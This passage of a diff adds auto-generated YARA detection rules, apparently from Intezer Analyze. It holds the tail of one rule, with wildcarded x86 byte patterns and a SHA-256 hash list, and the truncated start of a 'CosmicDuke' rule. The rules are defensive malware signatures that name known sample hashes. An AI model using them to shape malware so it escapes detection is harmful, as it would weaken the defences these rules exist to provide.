+		$block_11 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 8B ?? FF D? 8B ?? ?? 5? 8B ?? FF D? 85 ?? 0F 84 }
+		$block_12 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 8B ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? FF D? 0F B7 ?? ?? ?? 8D ?? ?? ?? 3B ?? 0F 85 }
+		$block_14 = { 5? 8B ?? 5? 5? 0F B6 ?? ?? C1 ?? ?? 8B ?? 8B ?? ?? 83 ?? ?? 5? BF ?? ?? ?? ?? 3B ?? 73 }
+		$block_15 = { 8B ?? ?? ?? 8B ?? ?? ?? 5? 89 ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_16 = { 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? 8B ?? ?? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_17 = { 8B ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 85 }
+		$block_18 = { 8B ?? ?? 89 ?? ?? 68 ?? ?? ?? ?? 5? C6 ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_19 = { A1 ?? ?? ?? ?? 8B ?? 5? 8B ?? ?? 8B ?? FF D? 8B ?? 89 ?? ?? C6 ?? ?? ?? 85 ?? 0F 84 }
+		$block_20 = { 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 82 }
+		$block_21 = { 33 ?? 6A ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_22 = { 8B ?? 8B ?? ?? 2B ?? B8 ?? ?? ?? ?? F7 ?? 03 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 0F 84 }
+		$block_23 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 5? 0F B7 ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 }
+		$block_24 = { C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? 39 ?? ?? 0F 82 }
+		$block_25 = { 8B ?? 8B ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_26 = { 8B ?? ?? ?? 6A ?? 83 ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_27 = { 5? 8B ?? 5? 5? 5? 8B ?? 8B ?? ?? 8B ?? 8B ?? ?? 5? FF D? 8B ?? 33 ?? 3B ?? 0F 84 }
+		$block_28 = { 2B ?? 5? 89 ?? ?? 8D ?? ?? 5? 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_29 = { 8B ?? ?? 2B ?? B8 ?? ?? ?? ?? F7 ?? 03 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 0F 84 }
+		$block_30 = { 8B ?? ?? 8B ?? 8B ?? ?? 8B ?? ?? 5? FF D? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_31 = { 5? 5? 6A ?? E8 ?? ?? ?? ?? 33 ?? 83 ?? ?? 85 ?? 0F 95 ?? 89 ?? ?? 5? 8B ?? C3 }
+		$block_32 = { 8B ?? 8B ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? FF D? 85 ?? 0F 84 }
+		$block_33 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 8B ?? 83 ?? ?? ?? 0F 85 }
+		$block_34 = { C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 88 ?? ?? 39 ?? ?? 0F 82 }
+		$block_35 = { 8B ?? ?? 5? 8D ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_36 = { 8B ?? ?? 8B ?? ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_37 = { 5? 8B ?? 5? 5? 8B ?? ?? 8B ?? 8B ?? ?? 5? 5? 8B ?? 8B ?? FF D? 85 ?? 0F 84 }
+		$block_38 = { 8B ?? ?? 6A ?? 8D ?? ?? 5? 5? 8B ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_39 = { 8B ?? ?? 5? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 98 ?? 83 ?? ?? ?? 72 }
+		$block_40 = { 8B ?? 8B ?? ?? 8B ?? FF D? 6A ?? E8 ?? ?? ?? ?? 33 ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_41 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 8B ?? ?? 8B ?? FF D? 85 ?? 0F 84 }
+		$block_42 = { 0F B6 ?? ?? 8B ?? 8B ?? ?? 5? 8B ?? FF D? 8B ?? 8B ?? 6A ?? 8B ?? FF D? }
+		$block_43 = { 0F B6 ?? ?? 88 ?? ?? 0F B6 ?? 88 ?? ?? 0F B6 ?? ?? 88 ?? 4? 4? 3B ?? 72 }
+		$block_44 = { 89 ?? ?? 8B ?? 8B ?? ?? 8B ?? C7 ?? ?? ?? ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_45 = { 8B ?? ?? 8D ?? ?? 33 ?? 3B ?? 0F 94 ?? C6 ?? ?? ?? 8B ?? 83 ?? ?? 72 }
+		$block_46 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_47 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? ?? 32 ?? 0F B6 ?? 66 ?? ?? ?? 4? 3B ?? 72 }
+		$block_48 = { 8B ?? 8B ?? ?? 8B ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_49 = { C6 ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? 39 ?? ?? 0F 82 }
+		$block_50 = { 6A ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_51 = { 8B ?? ?? 8B ?? 8B ?? ?? 8B ?? ?? 5? FF D? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_52 = { C7 ?? ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? 5? 8B ?? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_53 = { 5? 8D ?? ?? 5? 89 ?? ?? 8B ?? 6A ?? 5? 8B ?? ?? FF D? 85 ?? 0F 85 }
+		$block_54 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? 8B ?? 8B ?? ?? 5? 5? FF D? 3B ?? 0F 8C }
+		$block_55 = { FF 1? ?? ?? ?? ?? 33 ?? 3D ?? ?? ?? ?? 0F 94 ?? 8B ?? 85 ?? 0F 84 }
+		$block_56 = { 8B ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? 8D ?? ?? 89 ?? ?? ?? 3B ?? 0F 87 }
+		$block_57 = { 8B ?? ?? 8B ?? 8B ?? ?? 6A ?? FF D? 8B ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_58 = { 8B ?? ?? 33 ?? 85 ?? 0F 95 ?? 5? 5? 89 ?? ?? 5? 8B ?? 8B ?? 5? C3 }
+		$block_59 = { 8B ?? ?? 0F AF ?? 03 ?? ?? 8B ?? 5? 8B ?? ?? 5? 5? FF D? 3B ?? 74 }
+		$block_60 = { 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_61 = { 8B ?? ?? 8B ?? ?? 8B ?? 5? 5? 8B ?? ?? FF D? 8B ?? 3B ?? 0F 85 }
+		$block_62 = { 8B ?? 8A ?? ?? ?? 32 ?? ?? 4? 0F B6 ?? 66 ?? ?? ?? ?? 3B ?? 72 }
+		$block_63 = { 8D ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 82 }
+		$block_64 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8D ?? ?? 83 ?? ?? FF D? 3B ?? 0F 84 }
+		$block_65 = { 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? FF D? 8B ?? 33 ?? 3B ?? 0F 84 }
+		$block_66 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? 8B ?? ?? 5? FF D? 8B ?? 3B ?? ?? 75 }
+		$block_67 = { 8B ?? ?? 03 ?? 33 ?? 3B ?? 0F 94 ?? C6 ?? ?? ?? 83 ?? ?? 72 }
+		$block_68 = { 5? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_69 = { 5? 8B ?? 5? 5? 5? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_70 = { 8B ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 39 ?? ?? 0F 82 }
+		$block_71 = { 8D ?? ?? 99 8B ?? 2B ?? D1 ?? 89 ?? ?? 8B ?? 39 ?? ?? 0F 8C }
+		$block_72 = { 83 ?? ?? 89 ?? ?? 8B ?? 8B ?? 83 ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_73 = { 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_74 = { 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_75 = { 33 ?? 6A ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_76 = { 8B ?? ?? 8B ?? 8B ?? ?? FF D? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_77 = { FF D? 8B ?? 8B ?? ?? 8B ?? 89 ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_78 = { 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 33 ?? 85 ?? 0F 84 }
+		$block_79 = { 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_80 = { 8B ?? 8B ?? 8B ?? ?? FF D? 8B ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_81 = { 8B ?? 8B ?? ?? 5? 8B ?? FF D? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_82 = { C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_83 = { 8B ?? ?? ?? 83 ?? ?? 33 ?? 89 ?? ?? ?? 3B ?? ?? ?? 0F 85 }
+		$block_84 = { 33 ?? 39 ?? ?? C6 ?? ?? ?? 0F 94 ?? 8B ?? 83 ?? ?? 72 }
+		$block_85 = { 8B ?? ?? 8B ?? 8B ?? ?? 5? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_86 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_87 = { 8B ?? ?? 83 ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? ?? 0F 85 }
+		$block_88 = { 8B ?? B8 ?? ?? ?? ?? D3 ?? 8B ?? 23 ?? ?? 3B ?? 0F 85 }
+		$block_89 = { 8B ?? ?? 8B ?? 8B ?? ?? FF D? 8B ?? 33 ?? 3B ?? 0F 84 }
+		$block_90 = { 8B ?? ?? 83 ?? ?? ?? 83 ?? ?? 89 ?? ?? 39 ?? ?? 0F 82 }
+		$block_91 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 5? 8B ?? 83 ?? ?? 0F 86 }
+		$block_92 = { 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? 80 7? ?? ?? 8D ?? ?? 75 }
+		$block_93 = { 8B ?? ?? 8D ?? ?? 0F B7 ?? 8D ?? ?? 89 ?? ?? 3B ?? 73 }
+		$block_94 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_95 = { 8B ?? ?? ?? 8B ?? 89 ?? ?? ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_96 = { 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_97 = { 8B ?? 8B ?? ?? 8B ?? 89 ?? ?? FF D? 85 ?? 0F 84 }
+		$block_98 = { 8B ?? ?? 2B ?? ?? 83 ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_99 = { 5? 5? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "567332c2a6813d529bcb9196102ad45eceb982143e9d2f326f02cec1511954b0" or
+		hash.sha256(0, filesize) == "c47f2973f077f21abfb202b54ea18ee2a182e4305ee0046c1bc6d15a1179a43c" or
+		hash.sha256(0, filesize) == "6271c4909f39e1f29dcc79cde0f526cbde45d906726e73bd3b52d041a34eda38" or
+		hash.sha256(0, filesize) == "df818c2dccacc532ba0205749329b7e46d1f6616b40da55e0d994105bd988bd2" or
+		hash.sha256(0, filesize) == "3877a522c924f834e442ef19d9b11ab6d3385849e60d5f310f6320e2d9e42804" or
+		hash.sha256(0, filesize) == "bd589360b299dc4803aa35abca527137a51feadae2b1e3bc2b5a301bb5b245da" or
+		hash.sha256(0, filesize) == "df03f0ae0622f5040bf449ab8b7559a97da7f746cc2ce24a8ad5336b18699296" or
+		hash.sha256(0, filesize) == "8d86c0985530271618a342579afd1a9ecb27dfb080866e3b888bd3e45e1eb8f5" or
+		hash.sha256(0, filesize) == "a9e2d988781e970882fb1cee420bf01dda30730046a82f0faf4703523842feb5" or
+		hash.sha256(0, filesize) == "d07a802eb6d2c296c3f1bc726b5a716c4a7d8e97053c53e81658a31f969e6ce7" or
+		hash.sha256(0, filesize) == "489d448514a3ddf30144cc1634e6623e529dd3aee54a050a920a3d4342b4b96a" or
+		hash.sha256(0, filesize) == "97afcd01e00d32dc4d1161d7a127933593cfc092ec635af5dc7a775a088b6091" or
+		hash.sha256(0, filesize) == "65a2ca760bfce4762cd1cb3623c7d5d0ff86187d3bf3ba8fdea1339585a57ec2" or
+		hash.sha256(0, filesize) == "316528ade312cc5ed76f0b44c7f2c2fc84f60ae215992d9393f57431383cf776" or
+		hash.sha256(0, filesize) == "930939256e2c2fa30e7260897d96859c08cf767664e4bd3cedf156b6765b5413" or
+		hash.sha256(0, filesize) == "0474111e44b9aa56d6e6024c6f278e915d57b7862ceb927672fc3417f76a3ba3" or
+		hash.sha256(0, filesize) == "49dca913ff5c4782e8f8fa2dfd161110bc5c8cd36c9ce8aa0efd1860ab668e6e" or
+		hash.sha256(0, filesize) == "0102777ec0357655c4313419be3a15c4ca17c4f9cb4a440bfb16195239905ade" or
+		hash.sha256(0, filesize) == "366affd094cc63e2c19c5d57a6866b487889dab5d1b07c084fff94262d8a390b" or
+		hash.sha256(0, filesize) == "540913b3647c28a14418a6f288be9e4d8f99048227efea8ca1b13877269002eb" or
+		hash.sha256(0, filesize) == "4558eb18504f724e4f33f1504ff924ce64701d26d703cf1e42a48504e7f51927" or
+		hash.sha256(0, filesize) == "ac9c7ac457a605ff836eb6fe127eabc7a251dd73ea0a1fa59a591de30fa75d3f" or
+		hash.sha256(0, filesize) == "ddce4b5e1c03d04bb82780a2d0f08469bb589b6fe8f0d4cc2a140b16344f5bd1" or
+		hash.sha256(0, filesize) == "c218b779461d83d70791e0578175503cd69128c9723f2c5d7d36b85073b0f2f9" or
+		hash.sha256(0, filesize) == "3af9cfb2797bed22e1d12970d068d794270a0f07d3f3dcfdcdb9abfc3a80e0f8" or
+		hash.sha256(0, filesize) == "d04bef6765408d528fdf82a46c157b44e8b5e7762a15b0264033c9558ccc48dd" or
+		hash.sha256(0, filesize) == "ef0fab7757a6b5e842297fa2e0dc7a7ce084278c5d12b878bba7d90759a0e22b" or
+		12 of them
+}
+
+rule CosmicDuke {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8A ?? 8B ?? ?? 8B ?? 8B ?? 8B ?? ?? 6A ?? FF D? 0F B6 ?? 83 ?? ?? 8B ?? D3 ?? 09 ?? 80 F? ?? 72 }
+		$block_1 = { 5? FF 1? ?? ?? ?? ?? 5? B0 ?? 5? 4? 06 25 ?? ?? ?? ?? 5? 5? 5? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 }
+		$block_2 = { A1 ?? ?? ?? ?? 8B ?? ?? 5? 6A ?? 6A ?? 81 C? ?? ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_3 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_4 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? 5? 5? 5? C9 C3 }
+		$block_5 = { 8B ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? FF D? F6 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_6 = { 8B ?? 99 6A ?? 5? F7 ?? 0F B6 ?? ?? ?? 2B ?? 03 ?? ?? 8A ?? ?? ?? 88 ?? ?? ?? 4? 3B ?? ?? 72 }
+		$block_7 = { 8B ?? 99 6A ?? 5? F7 ?? 0F B6 ?? ?? ?? 2B ?? 8B ?? ?? 03 ?? 8A ?? ?? 88 ?? ?? ?? 4? 3B ?? 72 }
+		$block_8 = { 01 ?? 28 ?? ?? 84 ?? ?? 04 ?? 00 ?? ?? D7 05 ?? ?? ?? ?? 5? F1 4? 00 ?? ?? ?? ?? ?? A8 ?? 74 }
+		$block_9 = { 5? 8B ?? 83 ?? ?? 5? 4? 1D ?? ?? ?? ?? 2D ?? ?? ?? ?? D2 ?? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 8E }
+		$block_10 = { 12 ?? ?? 04 ?? 06 35 ?? ?? ?? ?? 4? 10 ?? ?? ?? ?? ?? 01 ?? 4? 27 11 ?? ?? ?? ?? ?? 0B ?? 75 }
+		$block_11 = { C6 ?? ?? C7 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B6 ?? 99 01 ?? 5? B3 ?? 11 ?? ?? 38 ?? 74 }
+		$block_12 = { 33 ?? 6A ?? 8D ?? ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 5? 74 }
+		$block_13 = { 8B ?? 99 83 ?? ?? 8D ?? ?? 8B ?? 99 83 ?? ?? 8D ?? ?? C1 ?? ?? C1 ?? ?? 81 F? ?? ?? ?? ?? 7F }
+		$block_14 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_15 = { 8B ?? ?? 8B ?? 4? C1 ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 87 }
+		$block_16 = { 01 ?? 08 ?? 8B ?? ?? ?? ?? ?? 61 07 0C ?? 16 83 ?? ?? ?? ?? ?? ?? 0D ?? ?? ?? ?? 04 ?? 74 }
+		$block_17 = { 5? 5? 8D ?? ?? 5? 8B ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_18 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 33 ?? 81 7? ?? ?? ?? ?? ?? 5? 0F 85 }
+		$block_19 = { 0F B6 ?? ?? 5? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 80 7? ?? ?? 74 }
+		$block_20 = { 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 3B ?? 8D ?? ?? ?? ?? ?? ?? 0F 8C }
+		$block_21 = { 8D ?? ?? E8 ?? ?? ?? ?? 12 ?? ?? ?? ?? ?? 15 ?? ?? ?? ?? 4? FC E8 ?? ?? ?? ?? 3B ?? 74 }
+		$block_22 = { 08 ?? ?? E8 ?? ?? ?? ?? 09 ?? ?? ?? ?? ?? ?? 1D ?? ?? ?? ?? E8 ?? ?? ?? ?? 0E B1 ?? 00 }
+		$block_23 = { 8B ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_24 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 85 ?? 0F 8E }
+		$block_25 = { 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 3B ?? ?? 0F 94 ?? 84 ?? 0F 85 }
+		$block_26 = { 88 ?? ?? ?? ?? ?? 0F B6 ?? 8D ?? ?? ?? ?? ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_27 = { 6A ?? 5? FF 7? ?? 8D ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 39 ?? ?? ?? 0F 8E }
+		$block_28 = { 0F B7 ?? ?? ?? 83 ?? ?? 0F AF ?? ?? ?? 0F AF ?? ?? ?? 99 83 ?? ?? 03 ?? C1 ?? ?? 89 }
+		$block_29 = { 8B ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 3B ?? 89 ?? ?? ?? 0F 84 }
+		$block_30 = { 8B ?? ?? ?? 89 ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? C1 ?? ?? 33 ?? 33 ?? 85 ?? 0F 8E }
+		$block_31 = { A1 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 85 ?? 0F 8E }
+		$block_32 = { 8D ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? F7 ?? ?? ?? ?? ?? 0F 84 }
+		$block_33 = { 8B ?? ?? 5? 5? 8B ?? ?? 8A ?? ?? ?? 83 ?? ?? 33 ?? 88 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_34 = { 89 ?? ?? FF 7? ?? FF 1? 5? A1 ?? ?? ?? ?? 0E 88 ?? 08 ?? ?? FF 1? 9? 08 ?? ?? CA }
+		$block_35 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_36 = { 5? 6A ?? BE ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_37 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? ?? 99 83 ?? ?? 03 ?? 8B ?? C1 ?? ?? 4? C1 }
+		$block_38 = { 12 ?? ?? 00 ?? ?? AB 25 ?? ?? ?? ?? FF 3? DB ?? ?? ?? ?? ?? 32 ?? ?? 1C ?? 75 }
+		$block_39 = { 0F B6 ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 03 ?? FF 4? ?? ?? 89 ?? ?? ?? ?? ?? 0F 85 }
+		$block_40 = { 8B ?? ?? 66 ?? ?? ?? C6 ?? ?? 66 ?? ?? ?? 83 ?? ?? FF 4? ?? 89 ?? ?? 0F 85 }
+		$block_41 = { 6A ?? 68 ?? ?? ?? ?? FF 7? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_42 = { 5? 5? 6A ?? FF 1? ?? ?? ?? ?? 5? 8B ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_43 = { 6A ?? 68 ?? ?? ?? ?? FF 7? ?? 88 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_44 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 2B ?? ?? 66 ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_45 = { 5? 68 ?? ?? ?? ?? FF 7? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_46 = { 89 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_47 = { 5? FF 7? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 5? 5? C9 C3 }
+		$block_48 = { A1 ?? ?? ?? ?? 4? 4? 89 ?? ?? ?? C1 ?? ?? 33 ?? 85 ?? 88 ?? ?? ?? 0F 8E }
+		$block_49 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 38 ?? ?? 5? 5? 0F 84 }
+		$block_50 = { 8B ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 83 ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_51 = { 5? 5? B0 ?? 4? 07 05 ?? ?? ?? ?? 4? 04 ?? 65 ?? 00 ?? ?? 85 ?? 0F 84 }
+		$block_52 = { FF 0? ?? ?? ?? ?? 8B ?? ?? A1 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? C9 C3 }
+		$block_53 = { B8 ?? ?? ?? ?? 2B ?? 4? 89 ?? ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 82 }
+		$block_54 = { A1 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? ?? ?? C1 ?? ?? 85 ?? 0F 8E }
+		$block_55 = { 8B ?? ?? 8B ?? 5? 8D ?? ?? ?? ?? ?? 5? 6A ?? 5? FF 5? ?? 85 ?? 0F 84 }
+		$block_56 = { 68 ?? ?? ?? ?? FF D? 81 4? ?? ?? ?? ?? ?? 4? 3B ?? ?? ?? ?? ?? 0F 8C }
+		$block_57 = { 0F B6 ?? ?? FF 8? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 4? 3B ?? 72 }
+		$block_58 = { 8D ?? ?? ?? E8 ?? ?? ?? ?? 99 6A ?? 5? F7 ?? 33 ?? 88 ?? 85 ?? 74 }
+		$block_59 = { 8B ?? ?? 8B ?? ?? 89 ?? 8B ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_60 = { 0C ?? 83 ?? ?? 0E BB ?? ?? ?? ?? B9 ?? ?? ?? ?? 0E 5? 11 ?? ?? EB }
+		$block_61 = { 6A ?? 68 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_62 = { FF 7? ?? E8 ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_63 = { 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 3B ?? ?? 0F 94 ?? 84 ?? 0F 85 }
+		$block_64 = { 8B ?? ?? 2B ?? ?? 83 ?? ?? 01 ?? ?? F7 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_65 = { 5? 8B ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 5? 33 ?? 5? 5? 3B ?? 0F 84 }
+		$block_66 = { 4? F4 8B ?? 0F AF ?? 85 ?? 22 ?? 1C ?? 83 ?? ?? ?? 85 ?? 0F 84 }
+		$block_67 = { 0F B6 ?? ?? 99 0F A4 ?? ?? C1 ?? ?? 01 ?? 11 ?? ?? 38 ?? ?? 74 }
+		$block_68 = { 8B ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? 5? 5? A9 ?? ?? ?? ?? 0F 85 }
+		$block_69 = { FF 4? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 0F 85 }
+		$block_70 = { 6A ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
